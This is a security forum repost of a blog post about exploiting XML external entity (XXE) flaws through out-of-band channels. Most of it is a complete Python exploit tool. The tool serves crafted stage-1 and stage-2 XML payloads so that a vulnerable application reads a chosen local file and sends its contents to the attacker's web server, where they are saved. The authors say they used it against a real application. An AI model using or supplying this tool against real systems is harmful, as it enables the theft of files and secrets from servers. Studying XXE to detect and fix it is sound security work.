Jump to content
Nytro

Exploiting Xxe With Out of Band Channels

Recommended Posts

Posted

Exploiting Xxe With Out of Band Channels

Hey, this post is about a cool technique that was

at Blackhat EU in 2013, By Alexey Osipov & Timur Yunusov. The idea is basically to use recursive external entity injection to have the vulnerable application send a http request to an attackers web server with the contents of a file of their choice. This works by reading the file and adding it as a payload to the end of url, we then try to load this as an external entity so if we look in the log files of the web server we can see the files contents so long as it can be rendered as plaintext or xml.In the video they talk about a metasploit module that can be used to exploit this, we needed it to exploit soapsonar, however I didn’t have any luck finding it so myself and Rob decided we would build our own. Ok, so the code isn’t very good, I’m not a programmer by any stretch of the imagination but it does work.

xxeoob.png

Here is a video of us using it exploit a real application:

#[Authors]: Ben 'highjack' Sheppard (@highjack_) & Rob Daniel (@_drxp)#[Title]: XXE OOB file retriever
#[Usage]: sudo python xxeoob.py localfile
#[Special Thanks]: Alexey Osipov (@GiftsUngiven), Timur Yunusov (@a66at) thanks for the awesome OOB techniques and Dade Murphy




import BaseHTTPServer, argparse, socket, sys, urllib, os, ntpath
localPort = 0
localIP = ""
localFile = ""


def status(message):
print "\033[0;31;1m[\033[0;34;1m+\033[0;31;1m] \033[0;32;1m" + message + "\033[0m"


def end():
status("Completed - Press any key to close")
raw_input()
quit()


class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
print """\033[0;31;1m
_ ._ _ , _ ._
(_ ' ( ` )_ .__)
( ( ( ) `) ) _)
(__ (_ (_ . _) _) ,__)
`~~`\ ' . /`~~`
,::: ; ; :::,
':::::::::::::::'
__________/_ __ \____________


\033[0;31;1m[\033[0;34;1m Title\033[0;31;1m] XXE OOB file retriever
\033[0;31;1m[\033[0;34;1mAuthors\033[0;31;1m] Ben Sheppard & Rob Daniel\033[0m
"""
global localIP
localIP = socket.gethostbyname(socket.gethostname())


parser = argparse.ArgumentParser()
parser.add_argument("file", help="set local file to extract data from", action="store")
parser.add_argument("--port", help="port number for web server to listen on", action="store", default=80)
parser.add_argument("--iface", help="specify the interface to listen on", action="store", default="eth0")
parser.add_argument("--mode", help="print) outputs stage 1\nurl)crafts stage 1 url)", action="store", default="url")
args = parser.parse_args()

if localIP.startswith("127."):
ipCommand = "ifconfig " + args.iface + " | grep -Eo 'inet addr:[0-9]{1,3}.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | cut -f 2 -d :"
ipOutput = os.popen(ipCommand)
localIP = ipOutput.readline().replace("\n","")


global localFile
localFile = args.file


global localPort
localPort = int(args.port)


global stage1content
stage1content = "<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"http://" + localIP +":" + str(localPort) + "/stage2.xml\">%remote;%int;%trick;]>"

if args.mode == "print":
status("Printing xml so it can be pasted into vulnerable app:")
print stage1content
else:
status("Malicious xml file is located at http://" + localIP + ":" + str(localPort )+ "/stage1.xml")

def log_request(self, *args, **kwargs):
pass


def do_GET(s):
pageContent = ""
if "/stage1.xml" in s.path:
status("Receiving stage1 request")
pageContent = stage1content

elif "/stage2.xml" in s.path:
status("Receiving stage2 request")
global localFile
pageContent = "<!ENTITY % payl SYSTEM \"" + localFile + "\"> <!ENTITY % int \"<!ENTITY % trick SYSTEM 'http://" + localIP + ":"+ str(localPort) + "?%payl;'>\">"
else:
status("Saving contents of " + localFile + " to " + os.path.dirname(os.path.abspath(__file__)))
pageContent = ""
localFile = ntpath.basename(localFile)
fo = open(localFile, "wb")
try:
fo.write(urllib.unquote(s.path).decode('utf8'));
except Exception,e:
print str(e)
fo.close()

status("Completed - Press any key to close")
raw_input()
try:
httpd.server_close()
except:
pass
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
s.wfile.write(pageContent)




if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class(('', localPort), MyHandler)


try:
httpd.serve_forever()
except:
pass
httpd.server_close()


Posted by highjack

Sursa: exploiting xxe with out of band channels - highjack

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...